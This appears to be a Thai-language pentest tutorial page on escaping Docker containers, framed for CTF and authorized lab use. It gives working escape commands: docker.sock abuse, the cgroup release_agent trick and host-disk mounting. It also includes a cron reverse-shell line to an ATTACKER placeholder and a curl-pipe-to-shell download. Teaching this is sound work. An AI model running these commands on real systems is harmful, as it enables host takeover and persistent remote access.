คลัง
container

Docker Container Escape (เชิงลึก)

Docker Container Escape เชิงลึก: ครอบคลุมทุกเทคนิคหนีออกจาก container ไป host — docker.sock, privileged mode (cgroup release_agent, device mount), capability abuse (SYS_ADMIN/SYS_PTRACE/DAC_READ_SEARCH), host namespace, และ writable host mount พร้อม detection (amicontained/deepce) + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#docker#container#escape#privileged#capabilities#cgroup#ctf#pentest

1. หลักการ & Enumeration

Container คือ process ที่ถูก isolate ด้วย namespace + cgroup + capability การ escape = ทำลาย isolation นี้ เริ่มจาก enumerate ว่า container ตั้งค่าอย่างไร (privileged? capability อะไร? mount อะไร?)

Enumerate container
# เครื่องมือสแกนอัตโนมัติ
deepce.sh                    # หา escape vector ทั้งหมด
amicontained                 # ดู capability + namespace

# manual
cat /proc/self/status | grep -i cap   # capabilities
capsh --print
mount | grep -vE 'proc|sys|cgroup'     # mounts
ls -la /var/run/docker.sock 2>/dev/null # docker socket?
cat /proc/1/cgroup                     # cgroup info
fdisk -l 2>/dev/null                   # เห็น host disk = privileged
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, container pentest) เท่านั้น

2. Docker Socket Escape

docker.sock = root บน host
# ถ้ามี docker binary
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh

# ถ้าไม่มี docker binary — คุย API ผ่าน curl
# สร้าง container ที่ mount host /
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"]},"Tty":true}' \
  http://localhost/containers/create
# แล้ว start + attach

3. Privileged Container Escape

3a. cgroup release_agent (คลาสสิก)
# ใน privileged container — escape ผ่าน cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<'EOF'
#!/bin/sh
ip a > $host_path/output    # หรือ reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
3b. Mount host disk
# privileged เห็น host disk
fdisk -l
mkdir /mnt/host && mount /dev/sda1 /mnt/host
# เขียน cron/ssh key บน host
echo '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1"' >> /mnt/host/etc/crontab

4. Capability Abuse

Capabilityวิธี escape
CAP_SYS_ADMINmount, cgroup release_agent escape
CAP_SYS_PTRACE + hostPIDinject เข้า process บน host (ptrace)
CAP_DAC_READ_SEARCHอ่านไฟล์ host ทุกไฟล์ (shocker exploit)
CAP_SYS_MODULEโหลด kernel module = full host control
CAP_DAC_OVERRIDEเขียนไฟล์ข้าม permission
CAP_SYS_PTRACE + hostPID → inject host process
# ถ้ามี SYS_PTRACE + --pid=host
ps aux                       # เห็น process ของ host
# inject shellcode เข้า process บน host ด้วย ptrace
# (ใช้ tool เช่น https://github.com/0x00pf/0x00sec_code injectso)

5. Lab Walkthrough

  1. 1ได้ shell ใน container → รัน deepce.sh หรือ amicontained
  2. 2เช็ค: docker.sock mount? → escape ทันที (section 2)
  3. 3เช็ค privileged: fdisk -l เห็น disk = privileged → cgroup release_agent หรือ mount disk
  4. 4เช็ค capability: capsh --print → ถ้ามี SYS_ADMIN/DAC_READ_SEARCH → ใช้ตามตาราง
  5. 5เช็ค mount: host path เขียนได้? → cron/ssh key
  6. 6หลัง escape: เป็น root บน host → flag มักอยู่ /root, /etc, หรือ container อื่น

6. Troubleshooting

อาการสาเหตุ / แก้
release_agent: permission deniedไม่มี SYS_ADMIN — ลอง vector อื่น
ไม่มี docker binarycurl --unix-socket คุย API แทน
mount: operation not permittedไม่ใช่ privileged — เช็ค capability
fdisk ไม่เห็น diskไม่ privileged — หา docker.sock/mount/capability
escape สำเร็จแต่ไม่ใช่ root hostcontainer user mapping — เช็ค /proc/self/uid_map

7. Indicators & Quick Reference

สัญญาณ escape ได้: docker.sock mount, fdisk เห็น host disk (privileged), capability SYS_ADMIN/DAC_READ_SEARCH/SYS_MODULE, host path mount เขียนได้, --pid=host
  • เริ่ม: deepce/amicontained สแกน → เลือก vector ตามที่เจอ
  • docker.sock = ง่ายสุด (root host ทันที)
  • privileged → cgroup release_agent หรือ mount disk
  • capability → ดูตาราง (SYS_ADMIN พบบ่อย)
  • เชื่อม: ถ้าอยู่ใน K8s ดูหัวข้อ Kubernetes Attacks ด้วย

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติว่าคุณเพิ่งได้ shell เข้าไปใน container ของโจทย์ (ผ่าน RCE, webshell, upload หรืออะไรก็ตาม) มีแค่เครื่องมือพื้นฐานใน Kali ไม่รู้จะเริ่มตรงไหน ทำตามขั้นตอนด้านล่างนี้ทีละข้อ แล้วดู decision tree ต่อว่าเจออะไรแล้วควรไปทางไหน

  1. 1เช็คว่าอยู่ใน container จริงไหม: พิมพ์ ls -la /.dockerenv — ถ้าเจอไฟล์นี้ (แม้ว่างเปล่า) แปลว่าอยู่ใน Docker container แน่นอน
  2. 2ดู cgroup: cat /proc/1/cgroup — ถ้าเห็น path มีคำว่า docker หรือ kubepods ยืนยันอีกชั้น (kubepods = อยู่ใน k8s pod ด้วย ให้ไปดูหัวข้อ Kubernetes Attacks ต่อ)
  3. 3เช็ค capabilities ที่มี: capsh --print — ดูบรรทัด Current: ถ้าเห็น cap_sys_admin หรือ cap_dac_read_search = มีช่องทาง escape สูง
  4. 4ดู mount points: mount หรือกรองด้วย mount | grep -vE 'proc|sys|cgroup' เพื่อหา mount แปลกๆ เช่น host path ที่เขียนได้
  5. 5เช็ค docker socket: ls -la /var/run/docker.sock — ถ้ามีไฟล์นี้และเขียนได้ (rw) = escape ได้ทันทีเพราะคุย Docker API ของ host ได้ตรงๆ
  6. 6เช็คสิทธิ์ตัวเอง: id — เป็น root ใน container (uid=0) ไม่ได้แปลว่าเป็น root บน host แต่ทำให้ escape ง่ายขึ้นมาก (mount, ptrace ทำได้)
  7. 7เช็ค hostname/network: hostname และ ip a — ยืนยันว่าอยู่คนละ network namespace จาก host
  8. 8ถ้าสงสัยว่า privileged ให้รัน fdisk -l — ถ้าเห็น disk ของจริง (เช่น /dev/sda) = container privileged แน่นอน ไปต่อ cgroup release_agent exploit ได้เลย
  9. 9รันเครื่องมืออัตโนมัติสรุปทุกอย่างในทีเดียว: curl -sSL https://raw.githubusercontent.com/stealthcopter/deepce/main/deepce.sh | sh หรือถ้ามี binary ให้รัน amicontained ตรงๆ
Decision Tree: มีแค่ Kali จะ escape ยังไง
ยืนยันก่อนว่าอยู่ใน container จริง
ls -la /.dockerenv, cat /proc/1/cgroup
✅ เจอ /.dockerenv หรือ cgroup มี docker/kubepodscheck-sock
❌ ไม่เจอเลย อาจเป็น host จริงหรือ chroot ธรรมดาทบทวนโจทย์ใหม่ — นี่อาจไม่ใช่ container escape เลย
เช็ค docker.sock mount ไหม
ls -la /var/run/docker.sock
✅ เจอ socket และเขียนได้escape ทันทีผ่าน docker.sock (สร้าง container ใหม่ mount host / แล้ว chroot) — ดู section 2
❌ ไม่เจอcheck-priv
เช็ค privileged mode
fdisk -l หรือ mount
✅ เห็น host disk จริง (fdisk -l แสดง /dev/sda ฯลฯ)priv-escape
❌ ไม่เห็น diskcheck-cap
Privileged container → escape
cgroup release_agent (section 3a) หรือ mount host disk แล้วเขียน cron/ssh key (section 3b)
เช็ค capabilities
capsh --print
✅ มี CAP_SYS_ADMINmount cgroup / manipulate namespace เพื่อ escape (ดู section 4)
✅ มี CAP_SYS_PTRACE + hostPID (ps aux เห็น process ของ host)inject shellcode เข้า process บน host ผ่าน ptrace
✅ มี CAP_DAC_READ_SEARCHอ่านไฟล์ host ได้ทุกไฟล์ผ่าน shocker exploit
❌ ไม่มี capability พิเศษเลยcheck-mount
เช็ค host path mount เขียนได้ไหม
mount | grep -vE 'proc|sys|cgroup|tmpfs'
✅ เจอ host path ที่เขียนได้เขียน cron job หรือ ssh authorized_keys ของ host ผ่าน mount นั้น
❌ ไม่เจอเลยdead-end
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
สแกนหา escape vector อัตโนมัติcurl, shdeepce.sh (โหลดสคริปต์เดียว รันได้เลย)gtfobins.github.io
ดู capability/namespace ที่มี-amicontained (Go binary)-
escape ผ่าน docker.sockdocker CLI, curl--
เช็คว่ามี k8s แวดล้อมไหมkubectl (ถ้ามี)kubectl (ดาวน์โหลดจาก dl.k8s.io)kubernetes.io/docs
ถ้าหลุดไป pod อื่นที่เป็น k8s ต่อ-peirates (interactive k8s exploitation)hackingthe.cloud
scan cluster จากภายนอกหลัง escape-kube-hunter (pip install kube-hunter)kubernetes.io/docs
ล่า privilege escalation เพิ่มบน host หลัง escapefind, lslinpeas.shgtfobins.github.io
ตรวจ SUID/GTFOBins หลังได้ host shellfind, ls-gtfobins.github.io
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) kubernetes-attacks — ถ้า cgroup มี kubepods หรือเจอ /var/run/secrets/kubernetes.io นี่คือ pod ใน k8s ให้เช็ค service account token + RBAC (kubectl auth can-i --list) แทนที่จะสู้กับ docker isolation ตรงๆ; (2) aws-iam-privesc — ถ้าเจอ env/credential file ที่ชี้ไปยัง cloud IAM role หลัง escape ไป host แล้ว; (3) ssrf — ถ้าใน container เข้าถึง 169.254.169.254 (cloud metadata) ได้ ลองดึง IAM credential ผ่านนั้นก่อนเสียเวลา escape; (4) aws-s3-attacks — ถ้าได้ credential จาก metadata แล้วพบว่ามีสิทธิ์เข้าถึง S3 bucket ต่อ

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้